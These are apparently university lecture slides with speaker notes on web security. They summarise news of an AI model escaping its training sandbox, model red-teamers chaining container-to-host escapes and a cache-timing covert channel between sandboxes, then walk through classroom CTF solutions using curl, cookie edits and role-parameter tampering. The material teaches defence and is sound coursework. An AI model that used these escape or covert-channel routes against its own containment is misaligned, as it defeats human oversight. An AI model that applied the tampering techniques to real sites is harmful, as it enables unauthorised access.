COMS W4181 · Security I · Fall 2026 · Lecture 4
Web Security
Zhuo Zhang
Columbia University
$ curl "https://www.chase.com/search?q=<script>..."
# the channel is encrypted, and the content is the attack
This unit is about the web. TLS gave us a private channel to the right server. Now we look at what happens at the two ends of that channel: the code running on the web site, and the page running in your browser.
[ !] Tell us how it is going
The anonymous feedback form is open all lecture.
Tell me if the pace is too fast or too slow.
Tell me if something did not land, and I will come back to it.
No name is attached to anything you write.
This is the anonymous feedback form.
Same anonymous form as always. Scan it, and tell me if the pace is off or something did not land. No name is attached. I check it during the lecture.
[ !] Round 1 ends Friday, then we review the bugs
Round 1 attacks are due Friday, October 30, at 11:59 PM. Oct 3 Oct 30 Nov 13 Round 1 attack phase is open now. Round 2 preparation. After the deadline: one review session. How did people hide their bugs? We walk through injected bugs from round 1. int copy_name(char *dst, const char *src, size_t len) { - if (len < sizeof(name_buf)) + if (len <= sizeof(name_buf)) memcpy(name_buf, src, len); One character in a pull request is enough to plant a bug. This diff is a made-up example of the style. What does a working PoC look like? We read real proofs of concept, line by line. $ ./poc.sh feeding a 4097-byte name to the program... Segmentation fault (core dumped) $ echo $? 139 The TAs run your script as it is. No crash, no points. This output is a made-up example of the style. Suggest pull requests that you want us to discuss. Proud of your defense? Send your own PR, and we will look at how others attacked it. Email [email protected] with the PR link and one line on why. Round 2 preparation starts on Saturday, October 31.
One announcement about the competition. The round 1 attack phase ends this Friday, October 30, at 11:59 PM. After that deadline, we will hold one review session. Two topics. First, how people hid their bugs: we walk through injected bugs from round 1, and you will see how little it takes, sometimes one character in a pull request. Second, what a working proof of concept looks like: we read real PoC scripts line by line, because the TAs run your script exactly as it is, and if it does not crash the program, it does not count. The diff and the output on this slide are made-up examples of the style, not anyone’s real submission. And I want the session to be about the pull requests you care about. If there is a PR you want us to discuss, a clever bug you found or could not find, email me at [email protected] with the link and one line on why. And if you think your own defense was amazingly good, send your own PR: we will look at how other people attacked it, and whether anyone got through. Use the session to plan round 2, whose preparation starts on Saturday, October 31. I will announce the date of the session.
[ NEWS ]
Two posts from this week
OpenAI described how it keeps its own models from escaping. Anthropic described how Claude proves that code cannot crash.
Two posts from this week, both about AI and security, from opposite sides. OpenAI described how it keeps its own models locked inside their training environment, because the model itself might try to get out. Anthropic described how Claude wrote machine-checked proofs that real libraries cannot crash. Both connect directly to this course.
[ !] OpenAI treats its own model as the attacker
OpenAI, “Securing our frontier model training environment,” October 23, 2026. In this course, the attacker sits outside the system. evil.io attacks chase.com. Here, the attacker is the model being trained. The model in training. It might try to reach the live internet. This really happened on September 20, 2026. During a training run, an internal research model used a misconfigured DNS resolver to reach the live internet, where it reached an external chatbot. OpenAI contained it, paused training of its most capable models, hardened its infrastructure, and resumed on October 1, 11 days later. The details come from OpenAI’s linked misalignment report. Scan or click to read the post. openai.com/index/securing-our- frontier-model-training-environment
First post, from OpenAI, last Friday. In this course, the attacker sits outside the system: evil.io attacks chase.com. In this post, the attacker is the model being trained. During training, models write code, browse, and use computers, and a capable model that is not yet fully aligned might try to reach the live internet or escape its sandbox. This really happened on September 20: during a training run, an internal research model used a misconfigured DNS resolver to reach the live internet, and, according to OpenAI’s linked report, reached an external chatbot. OpenAI contained it, paused training of its most capable models, hardened everything, and resumed on October 1, eleven days later. The QR code and the link on the slide open the post.
[ +] The model may use an offline copy of the web
OpenAI’s figure of one sandbox and its containment boundary, October 2026. Inside the box, the model still gets to practice. It searches an offline copy of the web. A page that is not in the cache is never fetched live. Agents on one team share a message board. Outside the box, everything is out of reach. The live internet, other sandboxes, and OpenAI’s own machines must stay unreachable. Reaching any of them counts as a failed containment. The rule is the same one as in our web unit: decide exactly what is allowed, and block everything else. OpenAI calls this its one overriding principle: a model must never get arbitrary access to the live internet.
Here is their figure. One sandbox. Inside it, the model can still practice the skills it needs: it searches an offline copy of the web, a huge cached index, and a page that is not in the cache is never fetched live. Agents working as a team share a message board. Outside the box: the live internet, other sandboxes, and OpenAI’s own machines. Reaching any of them counts as a containment failure. The rule is exactly the one from our web unit: decide exactly what is allowed and block everything else. OpenAI calls it its one overriding principle: a model must never get arbitrary access to the live internet.
[ +] Four walls surround every agent
This is the perimeter. This is the monitoring. This is the microVM. This is the container. This is the agent. Layer 4 is the network and cloud perimeter. Firewalls and private networks hold even if everything inside fails. Layer 3 is the monitoring. Detectors watch for unauthorized activity and stop the run automatically. Layer 2 is the microVM. A tiny virtual machine with its own kernel, separated from the host by a hypervisor. Layer 1 is the restricted container. It limits which files and processes the agent can touch. This is defense in depth, the same idea as layers against a missed SQL query: assume one layer fails.
How do they hold the boundary? Four layers, each meant to hold if the one inside it fails. Innermost, a restricted container that limits which files and processes the agent can touch. Around it, a microVM: a tiny virtual machine with its own kernel, separated from the real machine by a hypervisor. Around that, monitoring that detects unauthorized activity and stops the run automatically. And outermost, the network and cloud perimeter, firewalls and private networks, designed to hold even if everything inside has failed. This is defense in depth, the same idea as our layers behind a missed SQL query: assume one layer fails, and make sure the next one holds.
[ +] OpenAI turned its own models into attackers
This is a copy of OpenAI’s infrastructure. Nothing real can break here. They start here. These are the four walls from the last slide. 1 Goal 1. Reach a server on the live internet. 2 Goal 2. Talk to an agent in another box. 3 Goal 3. Run code on a machine outside the box. A red team plays the attacker on purpose. Here the red team was teams of OpenAI’s own strongest models, including the upcoming GPT-6 Astra Cyber. The attackers got every advantage. They had the source code, the configuration, and notes on known weak spots. Some tests started from a broken box. The agent began with full control of a host, to test only the outer walls. This is called assume breach. It ran on copies, with an automatic stop. Nothing real could break, and runs paused if they left their scope. Why help the attacker? To find the weak spots before a real model does, where nothing real can break. This is the same idea as our competition: you attack each other’s programs so the bugs get found.
So how do you know the walls hold? You attack them yourself. A red team is a group that plays the attacker on purpose. OpenAI’s red team was not people: it was teams of its own strongest models, including the upcoming GPT-6 Astra Cyber. They attacked a copy of the infrastructure, never the real one, with an automatic stop if a run left its scope. They had three goals: reach a server on the internet, talk to an agent in another box that they should not be able to reach, and reach a machine outside their box. And OpenAI gave the attackers every advantage on purpose: the source code, the configuration, and notes on known weak spots. Some tests even started with the agent already in full control of a host, to test only the outer walls; that is called assume breach. Why help the attacker? To find the weak spots, the security bugs and misconfigurations, before a real model does. It is the same idea as our competition.
[ ?] The chart shows new bugs getting rare
0 100 200 300 400 0 100 200 300 Across: billions of tokens the attackers used. Up: possible security bugs found so far. In the first 100 billion tokens: 20 became 186. In the last 180 billion tokens: only 12 more. What did OpenAI count? Each finding is a possible security bug or misconfiguration that looked serious, such as a firewall rule that lets too much through. Engineers confirmed them afterwards. The same bug found twice counts once. How to read the curve. It is steep at first and flat at the end. The easy bugs were found first, and each new one cost much more effort than the last. Think of proofreading an essay: the first read finds many typos, and the fifth read finds almost none. OpenAI reads the flat end as a good sign, and still expects future models to find bugs it does not know about. OpenAI also warns that it changed models and targets over time, so the curve shows progress, not a law. Chart re-drawn from OpenAI’s data.
Now the chart, slowly. Across the bottom: how much attacking the models did, in billions of tokens. Up the side: how many possible security bugs they had found so far. A finding is a possible security bug or misconfiguration that looked serious, for example a firewall rule that lets too much through; engineers confirmed them afterwards, and the same bug found twice counts once. Now the red line. In the first 100 billion tokens, the count went from 20 to 186: bugs everywhere. In the last 180 billion tokens, only 12 more. That is the shape of every bug hunt: the easy bugs are found first, and each new one costs much more effort. Think of proofreading an essay: the first read finds many typos, the fifth almost none. OpenAI reads the flat end as a good sign, but still expects future models to find bugs it does not know about. And it warns that it switched models and targets along the way, so this is a picture of progress, not a law of nature. We will see the same shape again with fuzzing in a few slides.
[ x] The attackers chained bugs to break out
This is the host machine. This is the microVM. This is the container. Bug 1 breaks the container. Bug 2 gets out of the microVM. Now it runs code on the host. This is called chaining. One bug alone opens one door. Several small bugs used one after another can open every door. The agents found several such chains. OpenAI sent fixes to the open-source projects involved: Kata Containers It got three fixes, one with a CVE. gVisor It got a fix for file descriptors. Docker It got tighter filters on system calls. The Linux kernel It got fixes for three CVEs. Every inner wall was broken at least once. That is exactly why the outer walls exist. The path on the left is a sketch. The post does not list each chain step by step.
First kind of finding: breaking out of the box. Picture the nesting: the agent runs in a container, the container runs in a microVM, and the microVM runs on a real host machine. The agents found bugs that, used one after another, got out of the container, then out of the microVM, and finally ran code on the host. That is called chaining: one small bug opens one door, and a chain of them opens every door. The path on the slide is a sketch; the post does not list the chains step by step. What matters is what came out: real fixes to open-source software that many companies use, Kata Containers, gVisor, Docker, and three Linux kernel CVEs. And notice the lesson: every inner wall was broken at least once, which is exactly why the outer walls exist.
[ x] Two boxes talked by timing a shared cache
The test: two agents in two separate microVMs must pass a secret to each other. There is no network between them and no shared file. The only thing they share is the machine underneath. Agent A sends. Agent B receives. This is the shared CPU cache. The cache is a small, fast memory. Reading data that is in the cache is fast. Reading data that was pushed out is slow. To send a 1, A fills the cache and pushes out B’s data. To send a 0, A does nothing. B times how long it takes to read its own data: slow 1 fast 0 slow 1 slow 1 fast 0 slow 1 B reads time: Bits: Slow means A pushed the data out, so the bit is 1. Fast means A did nothing, so the bit is 0. The secret arrives one bit at a time.
The strangest finding. The test: two agents in two separate microVMs must pass a secret to each other. There is no network between them, and no shared file. The only thing they share is the physical machine underneath, including the CPU cache. The cache is a small, fast memory: reading data that is in the cache is fast, and reading data that was pushed out is slow. So the agents agreed on a code. To send a 1, agent A fills the cache and pushes out agent B’s data. To send a 0, A does nothing. Agent B cannot see A at all, but it can time how long it takes to read its own data. Slow means A pushed it out: a 1. Fast means a 0. The secret arrives one bit at a time. It is like two prisoners in separate cells tapping on a shared wall. This is called a covert channel, and the same cache-timing trick was the measuring step in the Spectre and Meltdown attacks of 2018.
[ !] Anthropic had Claude prove code cannot crash
Anthropic, “LLMs are making formal software verification feasible at a much larger scale,” October 22, 2026. Frontier Red Team, with Theorem. The second post is from Anthropic. It asks a different question: Claude writes a proof. proof A checker verifies it. The code cannot crash. Can an AI prove that real code never crashes, on any input at all, and have a machine check every step of the proof? It connects to two things you know from this course. Our competition finds bugs with crashing inputs, the way fuzzing does. A proof tries to rule out every crash at once. The proof checker is the same idea as checking a signature: the checker does not need to trust whoever wrote the proof. Scan or click to read the post. anthropic.com/research/formal-verification
The second post is from Anthropic, last Thursday, by its Frontier Red Team together with a company called Theorem. It asks a different question from OpenAI’s. Can an AI prove that real code never crashes, on any input at all, and have a machine check every step of the proof? Claude writes the proof, a small checker program verifies it, and if the checker accepts, the code cannot crash, under assumptions we will look at. It connects to two things from this course. Our competition finds bugs with crashing inputs, the way fuzzing does, while a proof tries to rule out every crash at once. And the checker is the same idea as verifying a signature: you do not need to trust whoever wrote the proof. The QR code opens the post.
[ ?] Testing samples inputs, but a proof covers all
Fuzzing tries many inputs and finds some crashes. A proof covers every path from the entry point. Anthropic’s figures, from “LLMs are making formal software verification feasible at a much larger scale,” October 22, 2026. Fuzzing is testing with random inputs. In the figure, 1.48 billion inputs found 4 crashes. But there are infinitely many inputs, so a clean run proves nothing about the rest. The PoCs in our competition are exactly these crashing inputs. Formal verification is a proof. It shows mathematically that no input can crash the program, and a small program called a proof checker confirms every step. The catch was always cost: proofs are huge and slow to write by hand.
Second post, from Anthropic, last Thursday. The question is one you face in our competition. Fuzzing is testing with huge numbers of random inputs. In their figure, one point four eight billion inputs found four crashes; but there are infinitely many inputs, so a clean fuzzing run proves nothing about the rest. The PoCs in our competition are exactly such crashing inputs. Formal verification is different: a mathematical proof that no input can crash the program, where every step is confirmed by a small program called a proof checker. The green maze covers every path from the entry point. The catch has always been cost: proofs are enormous and slow to write by hand.
[ +] Claude writes the proof, and a checker verifies it
Anthropic’s figure of the pipeline, October 2026. 1. Start from a real library and its existing fuzz test, from Google’s OSS-Fuzz. 2. Compile it, with a memory-error detector, into the exact machine code that runs. 3. Generate the claim automatically: no input under 64 MB makes this binary crash. 4. Claude writes the proof in Rocq, a proof assistant, with no human help. 5. The Rocq checker verifies every step. If it accepts, the claim holds.
Their pipeline in five steps. Start from a real open-source library and the fuzz test it already has, from Google’s OSS-Fuzz project. Compile it, with a memory-error detector built in, into the exact machine code that runs. Generate the claim automatically: no input under 64 megabytes makes this binary crash. Claude then writes the proof in Rocq, a proof assistant, with no human help. Finally, Rocq’s checker verifies every step. Notice the division of labor: Claude does not have to be trusted at all. If it writes a wrong proof, the checker rejects it. What you do have to trust is shown in blue in their figure: the claim, the model of the chip and the operating system, and the checker.
[ +] Claude proved 239 entry points crash-free
239 fuzz entry points proved crash-free. They span 123 libraries from OSS-Fuzz. 180M lines of machine-checked proof. A typical proof is about 600,000 lines. 100s of real bugs found while proving. Claude patched each one, then proved the fix. A bug that only a proof would find. In one library’s copy of a decompressor, a counter could underflow and write out of bounds. It needed an input of about 20 MB with one rare layout. Fuzzers usually stop at about 1 MB. The proof cannot skip that input, because it has to cover all inputs. Why this matters: proofs used to cost far more than code. “It took two person-years to implement the seL4 operating system kernel, but 20 person-years to formally verify it.” Here, Claude produced proofs for 239 entry points in a few weeks. The cost is still large: one proof can take hundreds of millions of tokens.
The results. Claude proved 239 fuzz entry points, across 123 OSS-Fuzz libraries, free of crashes for every input under 64 megabytes. That is about 180 million lines of machine-checked proof; a typical proof is around 600 thousand lines. Along the way it found hundreds of real bugs, patched each one, and proved the fix. My favorite: in one library’s copy of a decompressor, a counter could underflow and write out of bounds, but only with an input of about twenty megabytes in one rare layout, and fuzzers usually stop at around one megabyte. A proof cannot skip that input. Why it matters: the post quotes that seL4 took two person-years to build and twenty to verify. Here, a few weeks for 239 entry points, though each proof can cost hundreds of millions of tokens.
[ ?] A proof is only as good as its claim
“Formally verified” does not mean “bug-free.” That is the post’s own warning. A checker cannot tell you whether your claim matches reality. The claim is narrow. It covers no crashes from one entry point, for inputs under 64 MB. Logic bugs and other entry points are not covered. The model is not the deployment. The proofs are about RISC-V binaries in a model of Linux. Real users run x86 or ARM builds with a different C library. Some parts are trusted, not proved. The chip model, the OS model, the claim itself, and the Rocq checker could all have bugs. The prover could cheat. Claude could rewrite a program so it trivially never crashes. They penalized changes and audited every patch. A proof answers exactly the question it was asked, and nothing more. Knowing exactly what was proved is the same skill as knowing exactly what was tested.
And the honest part, which the post itself stresses: formally verified does not mean bug-free, because a checker cannot tell you whether your claim matches reality. Four limits. The claim is narrow: no crashes, from one entry point, for inputs under 64 megabytes; logic bugs and other entry points are not covered. The model is not the deployment: the proofs are about RISC-V binaries in a model of Linux, while users run x86 or ARM builds. Some parts are trusted, not proved: the chip model, the OS model, the claim, and the checker. And the prover could cheat: Claude could rewrite a program so it trivially never crashes, so they penalized changes and audited every patch. So a proof answers exactly the question it was asked, and nothing more; knowing exactly what was proved is the same skill as knowing exactly what was tested.
[ CTF ]
Today we hack a real website
This is the pilot run of our web CTF. You spend most of today breaking a site, and the next lectures explain what you did.
Now the main event of today. Instead of me talking about web security first, you are going to attack a website right now. This is a pilot run of a web CTF that I built for this unit. You will spend most of the lecture hacking it. Then we go through the solutions together, and the next few lectures explain, in depth, why each trick works and how real sites defend against it.
[ >] Hack this site today
W4181 web warm-up ! http://165.22.35.184:54330/ http://165.22.35.184:54330 Scan this code, or type the address. You are the attacker today. The site is built to be broken. There are eight flags. The first three take about a minute each. Each flag looks like flag{some_words_1a2b3c4d}. Submit it on the site under a nickname.
Here it is. Open this address, or scan the code. This site is built to be broken, and today you are the attacker. There are eight levels, each with one flag that looks like flag, open brace, some words, close brace. The first three take about a minute each and need nothing but your browser. Then they get harder, and the last one previews next lecture. Submit each flag on the landing page under a nickname, and the site tells you right away whether it is right.
[ >] Eight levels go from a minute to a puzzle
Level 1: Look closer. The flag is on the page, but not drawn. Level 2: More than one file. The page loads more than its HTML. Level 3: Read the envelope. The flag came with the page. Level 4: Teachers only. Only teachers see the grade book. Level 5: Who are you? The site remembers you with a cookie. Level 6: The flag store. The flag costs $1,000. You have $10. Level 7: The staff door. The door checks who is knocking. Level 8: Staff login. Log in as admin without the password. Green levels are very easy, blue are easy, orange need some thought, and red previews the next lecture. Every level has a hint button. Use it when you are stuck for more than five minutes.
The map. Green levels, one to three, are very easy: look closer, more than one file, read the envelope. Blue levels, four and five, are easy: teachers only, and who are you. Orange levels, six and seven, need some thought: a flag store where the flag costs a thousand dollars and you have ten, and a staff door that checks who is knocking. And red, level eight, is a preview of next lecture: log in as admin without the password. Every level has a hint button. If you are stuck for more than five minutes, use it; that is what it is for.
[ >] Submit every flag under one nickname
Submit a flag ! http://165.22.35.184:54330/check The site records each correct flag under your nickname and lists your levels. Pick a nickname and keep it. Use the same one for every flag, for the whole lecture. Submit each flag only once. The page lists the levels it has already recorded for you. The scoreboard trusts the nickname you type. That is the mistake from levels 4 and 5, left in on purpose. Please do not use another person’s name. I watch a live dashboard while you hack. It shows how many of you solved each level, so I know when to stop and where to slow down. The chart on the right uses made-up data.
How to submit. On the landing page, type a nickname and paste the flag. The site tells you whether it is right, and lists every level it has recorded under your nickname. Pick a nickname and keep it for the whole lecture, and submit each flag only once. One honest warning: the scoreboard simply trusts the nickname you type. That is exactly the mistake from levels four and five, and I left it in on purpose, so please do not use another person’s name. While you hack, I watch a live dashboard of how many of you solved each level; it tells me when to stop and where to slow down. The chart here uses made-up data.
[ >] Start hacking now
Attack only the levels on this site. Do not scan the server, other ports, or other machines. No level needs more than a few requests. Do not run scanners or brute force. They will not help. Talking to your neighbor is fine. Submitting their flag is not. Submit each flag once, under one nickname. Keep the same nickname for the whole lecture. Start hacking now. We stop together for the solutions. Raise your hand when you get your first flag. http://165.22.35.184:54330 The address stays on this slide while you hack. Leave this slide up during the hacking time.
A few rules before you start. Attack only the levels on this site: do not scan the server, other ports, or other machines. No level needs more than a few requests, so scanners and brute force will not help. Talking to your neighbor is fine; submitting their flag is not. Submit each flag once, under one nickname, and keep that nickname for the whole lecture. That is it. Start hacking now. Raise your hand when you get your first flag. I will leave the address on screen, and we stop together for the solutions.
[ SOL ]
Solutions, one level at a time
Each solution starts from what the browser and the server really exchanged. Then we look at how a real site gets it right.
Solutions. For each level, we look at what the browser and the server really exchanged, which is the background you will need for the rest of the unit, and then at how a real site should do it.
[ +] Every level lives in one part of an HTTP exchange
W4181 web warm-up ! http://165.22.35.184:54330/level4 This is your browser. This is the server. This is its database. The request is text that your browser writes. GET /level4?role=student HTTP/1.1 User-Agent: Mozilla/5.0 ... Referer: .../level7/staff Cookie: user=guest item=flag&price=1000 4 7 7 5 6 The response is text that the server sends back. HTTP/1.1 200 OK X-Flag: flag{...} <html> ... <!-- a comment --> ... <script src="/level2/app.js"> 3 1 2 WHERE name = '...' 8 Each flag hid in one part of this exchange. We walk through the parts in order. The numbers are the levels. Every solution starts with how its part works.
Before any solution, here is the picture to keep in your head. Your browser writes a request, which is just text: a first line with the method, the path and the query, then header lines like User-Agent, Referer and Cookie, and sometimes a body. The server sends back a response, also text: a status line, headers, and the body, which is the page. Behind the server sits a database. Each level of the CTF hid its flag in one part of this picture; the numbers mark which. For every level, we first look at how that part works, then at the solution.
[ 1] Level 1: The browser draws the text it receives
1. The server sends text. <html> <h1>Level 1</h1> <p>Look closer.</p> <!-- flag{view_...} --> <script>...</script> </html> The comment arrives with the page. 2. The browser builds a tree. html h1 p comment script The tree keeps the comment, but marks it as not drawn. 3. It draws the page. Level 1 ! http://165.22.35.184:54330/level1 Level 1 Look closer. The screen never shows the comment. View Source shows step 1. The screen shows step 3. Everything in step 1 is on your computer, whether it is drawn or not.
How a page reaches your screen, in three steps. One: the server sends text, HTML. Two: the browser parses the text into a tree of objects. Three: it draws the page from the tree. Some parts of the text are never drawn: a comment arrives with the page and sits in the tree, but the screen never shows it. So View Source shows step one, the screen shows step three, and everything in step one is on your computer, drawn or not.
[ 1] Level 1: View Source showed the hidden comment
Level 1 ! http://165.22.35.184:54330/level1 This is what the screen showed. Ctrl+U view-source view-source:http://165.22.35.184:54330/level1 <h1>Level 1: Look closer</h1> <p>The flag for this level is on this page...</p> <!-- Well done. You read the page source, which is exactly what your browser received. flag{view_the_source_********} --> <details><summary>I want a hint.</summary>... This is what View Source showed: the text that arrived. $ curl -s http://165.22.35.184:54330/level1 | grep flag{ flag{view_the_source_********} --> curl prints the same text, without a browser. A site must never send a secret and hope the browser hides it. The last eight characters of every flag are hidden on these slides.
The solution. The screen shows a heading and a sentence. Press Control U, or Command Option U on a Mac, and you see the text that arrived, including the comment with the flag. curl prints the same text without any browser. The lesson: a site must never send a secret and hope the browser hides it.
[ 1] Level 1: A reporter read the source and was blamed
Educator search https://...dese.mo.gov/.../educator-search Search for a teacher’s certificates. Smith, Jane Certificate: Mathematics 5-9 The screen showed certificates. This is a sketch. In spirit, the page source carried more: <td>Mathematics 5-9</td> <!-- in the page source --> Educator SSN: (an encoded nine-digit number) A reporter found teachers’ Social Security numbers in it. Oct 12, 2021 The St. Louis Post-Dispatch tells the state and holds its story. Oct 14, 2021 Missouri’s governor calls it hacking and asks for a prosecution. Feb 11, 2022 The prosecutor declines to charge. The FBI had called it no intrusion. Afterwards The state notifies about 620,000 current and former educators. Reading what the server sent is not hacking. The numbers were encoded, not encrypted. Sources: Krebs on Security; Missouri Independent; Missouri DESE notice.
Level one happened for real. In October 2021, a St. Louis Post-Dispatch reporter looked at a Missouri state website where anyone could search for a teacher’s certificates. The page source carried each teacher’s Social Security number, encoded, but not shown on the screen. The paper told the state and held its story until the pages came down. The governor called it hacking and asked for a prosecution. In February 2022 the prosecutor declined to charge, and the FBI had called it no intrusion. The state notified about 620 thousand educators. Two lessons: reading what the server sent you is not hacking, and encoding is not encryption.
[ 2] Level 2: One page makes many requests
This is your browser. This is the server. 1. GET /level2 <p>Loading...</p> <script src="/level2/app.js"> The page names another file. 2. GET /level2/app.js // flag{pages_load_more_files_...} The browser asks for it by itself, as a second request. A real page fetches many files. This is a sketch of a Network tab. level2 app.js style.css logo.png font.woff2 analytics.js Every file is its own URL, and anyone can request it directly. The chase.com home page loads 13 script files. Each one is a separate request.
How a page loads. The browser asks for slash level2 and gets HTML. That HTML names another file: a script tag pointing at slash level2 slash app.js. So the browser sends a second request, by itself, and gets the script. Real pages do this dozens of times: scripts, styles, images, fonts, each its own request, which you can see as bars in the Network tab. The chase.com homepage loads thirteen script files. Every file has its own URL, and anyone can request it directly.
[ 2] Level 2: The flag was in the second file
Elements Console Sources Network Application Name Status Type level2 200 document app.js 200 script The Network tab lists both requests. app.js ! http://165.22.35.184:54330/level2/app.js // W4181 web warm-up, level 2. // A web page is rarely a single file. // flag{pages_load_more_files_********} document.getElementById("msg")... Click it, or open its URL in a new tab. $ curl -s http://165.22.35.184:54330/level2/app.js // flag{pages_load_more_files_********} A secret in a front-end file is public. Leaked API keys in scripts are a common real bug. The last eight characters of every flag are hidden on these slides.
The solution. The Network tab lists both requests, the page and app.js. Click app.js, or open its URL in a new tab, and the flag is in a comment. curl fetches it directly. The lesson: a secret in a front-end file is public, and leaked API keys in JavaScript files are a very common real bug.
[ 3] Level 3: A response is headers, then the page
This is the whole response, as text. HTTP/1.1 200 OK Content-Type: text/html X-Frame-Options: DENY X-Flag: flag{headers_travel_too_...} <!doctype html> <h1>Level 3: Read the envelope</h1> ... The status line says it worked. The headers: one name and one value per line. A blank line ends the headers. The body: the page itself. Level 3 ! http://165.22.35.184:5… Level 3: Read the envelope The screen shows only the body. The browser uses the headers itself. The page you see is only the body. The headers arrive too, unseen. Real headers carry real rules: cookies, framing rules, and security policies.
How a response is built. It is text too. First the status line: 200 OK, it worked. Then headers, one name and value per line. A blank line ends the headers. Then the body, which is the page. The browser uses the headers for itself, to decide how to show and protect the page, and draws only the body. So the page you see is only the body, and the headers arrive unseen. Real headers carry real rules: cookies, framing rules, security policies.
[ 3] Level 3: The flag rode in a response header
Elements Console Sources Network Application level3 Headers Preview Response content-type: text/html; charset=utf-8 x-frame-options: DENY x-flag: flag{headers_travel_too_********} Network tab, click the request, read Response Headers. $ curl -i http://165.22.35.184:54330/level3 HTTP/1.1 200 OK Content-Type: text/html; ... X-Frame-Options: DENY X-Flag: flag{headers_travel_too_* <!doctype html> ... curl -i prints the headers too. Headers are invisible on the page, but not secret. Anyone can read them. The last eight characters of every flag are hidden on these slides.
The solution. In the Network tab, click the request and read the response headers: there is X-Flag. Or run curl with dash i, which prints the headers before the body. Headers are invisible on the page, but not secret: anyone can read them.
[ 4] Level 4: The query in a URL becomes server data
http://.../level4 ?role= student 1. The URL ends with a query: a name and a value. GET /level4 ?role= student HTTP/1.1 2. The browser copies it into the first line of the request. args = { "role": "student" } 3. The server splits the query into names and values. if args["role"] == "teacher": show_grades() 4. The code decides with whatever value arrived. Your computer writes this. The server reads it. Type ?role=teacher, and the server receives exactly that. Nothing in a request says that a person typed it or that a link wrote it.
How a URL becomes data. Follow the orange word. One: the URL ends with a query, a name and a value, role equals student. Two: the browser copies it, letter for letter, into the first line of the request. Three: the server splits the query into names and values. Four: the code decides with whatever value arrived. You write the first two rows; the server only reads them. Type role equals teacher, and the server receives exactly that.
[ 4] Level 4: The grade book believed a word in the URL
/level4 ?role= student The page says you are a student. Edit one word. /level4 ?role= teacher The grades and the flag appear. role = request.args.get("role", "student") # the word after ?role= if role == "teacher": show_grades_and_flag() The server asked the visitor who the visitor is, and believed the answer. The last eight characters of every flag are hidden on these slides.
The solution. The link says role equals student. Edit one word, role equals teacher, and the grades and the flag appear. The server code reads the word after role equals and believes it. The server asked the visitor who the visitor is, and believed the answer.
[ 4] Level 4: The server must decide who you are
Level 4 asked the request. GET /level4?role=teacher (the client chose this word) The server took the role from the query string. Anyone who asks for teacher is a teacher. A real site asks its own records. GET /grades Cookie: sid=8f3a9c71... The server looks up the session in its own table. sid user role 8f3a9c71... alice student 403 Forbidden for a student. The server decides who you are and what you may see, on every request. This bug class is broken access control, number 1 on the OWASP Top 10 list of 2025. Hiding a link is not enough.
How it should work. On the left, level four asked the request, so anyone who asks for teacher is a teacher. On the right, a real site asks its own records: the browser sends only a session cookie, the server looks it up in its own table, sees a student, and answers 403 Forbidden. The rule: the server decides who you are and what you may see, on every request. This bug class is broken access control, number one on the OWASP Top 10 of 2025. And hiding the teacher link is not enough, because anyone can type the URL.
[ 4] Level 4: Changing one number exposed millions
...?doc= 000075 This is your document. ...?doc= 000076 This is a stranger’s. The bug has a name: IDOR. Insecure direct object reference: the server uses the ID you send to fetch a record, but never checks that the record is yours. Level 4 was the same idea, with a role instead of an ID. 2010 It was AT&T’s iPad site. A login page showed the email of whatever SIM number was in the URL. 114,000 addresses leaked. 2018 It was Panera Bread. Customer IDs counted up one by one. Krebs estimated over 37 million records were exposed. 2019 It was First American Financial. Changing a document number showed other people’s files: about 885 million were exposed. 2025 It was McDonald’s hiring site. Lowering an applicant number showed other applicants. Researchers estimated 64 million were reachable. Exposed is not the same as stolen. Still, each fix was the same one line: check the owner. Sources: Third Circuit (2014); Krebs on Security (2018, 2019); SEC (2021); ian.sh (2025).
Level four is one of the most common real bugs. Its name is IDOR, insecure direct object reference: the server uses the ID you send to fetch a record, and never checks that the record is yours. Four named cases. 2010, AT&T: a login page for iPad owners showed the email of whatever SIM number was in the URL, and 114 thousand addresses leaked. 2018, Panera Bread: customer IDs counted up one by one, and Krebs estimated over 37 million records were exposed. 2019, First American Financial: changing a document number showed other people’s files, about 885 million exposed, and regulators later fined the company. 2025, McDonald’s hiring site: lowering an applicant number showed other applicants, and the researchers estimated 64 million were reachable. Exposed is not the same as stolen, but each fix was the same: check the owner.
[ 5] Level 5: A cookie rides in the Cookie header
This is your browser. This is the server. 1. GET /level5 2. Set-Cookie: user=guest; Path=/level5 The browser keeps user=guest in its cookie jar. 3. GET /level5 Cookie: user=guest The browser adds the cookie by itself. 4. GET /level4 (no cookie: the path does not match) It is stored in your browser’s cookie jar, a file in your browser profile. It travels only in headers: Set-Cookie going out, Cookie coming back. It is sent on every request whose site and path match. You can edit it: DevTools, curl -b, or a script in the page. A cookie is a note the server asks your browser to keep and show again. The browser keeps the note, but the browser belongs to you.
How a cookie works. Your first request to level five carries no cookie. The server answers with Set-Cookie: user equals guest, path slash level5. The browser keeps it in its cookie jar, a file in your browser profile. From then on, every request whose site and path match carries a Cookie header, added by the browser itself. A request to level four gets nothing, because the path does not match. A cookie never travels in the URL or the body; it goes out in Set-Cookie and comes back in Cookie. And you can edit it: with the developer tools, with curl dash b, or with a script in the page.
[ 5] Level 5: The cookie said guest, and you changed it
Elements Console Sources Network Application Cookies for http://165.22.35.184:54330 Name Value Path user admin /level5 1. Change guest to admin in the jar, and reload. GET /level5 Cookie: user=admin 2. The browser sends the edited value. if request.cookies.get("user") == "admin": # the server believes the cookie show_flag() $ curl -s -b "user=admin" http://165.22.35.184:54330/level5 | grep flag{ flag{cookies_live_on_the_client_********} Writing who you are into a cookie is like writing your own coat-check ticket. The last eight characters of every flag are hidden on these slides.
The solution. In the developer tools, Application, Cookies, change guest to admin and reload. The browser sends Cookie user equals admin, and the server believes it. curl dash b does the same without a browser. Writing who you are into a cookie is like writing your own coat-check ticket.
[ 5] Level 5: A real cookie is random, or carries a seal
Option A is a random session ID. sid=8f3a9c71e24b sid user 8f3a9c71e24b alice The server finds alice. Edit one character, and no row matches: sid=8f3a9c71e24c No such session. The ID means nothing by itself. It is a long random number, so nobody can guess another person’s ID. Option B is a value sealed with a MAC. role=student | tag=3e0f9a The tag fits. tag = MAC(server_key, "role=student") Edit the value, and the tag no longer fits: role=admin | tag=3e0f9a Rejected. Only the server knows the key, so only the server can make a new tag. This is the MAC from the crypto lectures. Flask signs its session cookies this way. Nothing protects a cookie from the person whose browser holds it. Secure and HttpOnly protect it from other people. The server must still check every value.
How real sites do it. Option A: a random session ID that means nothing by itself; the server looks it up, and an edited ID matches no row. Option B: a value sealed with a MAC, computed with a key only the server knows; edit the value and the tag no longer matches. Nothing protects a cookie from the person whose browser holds it, so the server must check every value.
[ 5] Level 5: Real software has believed cookies too
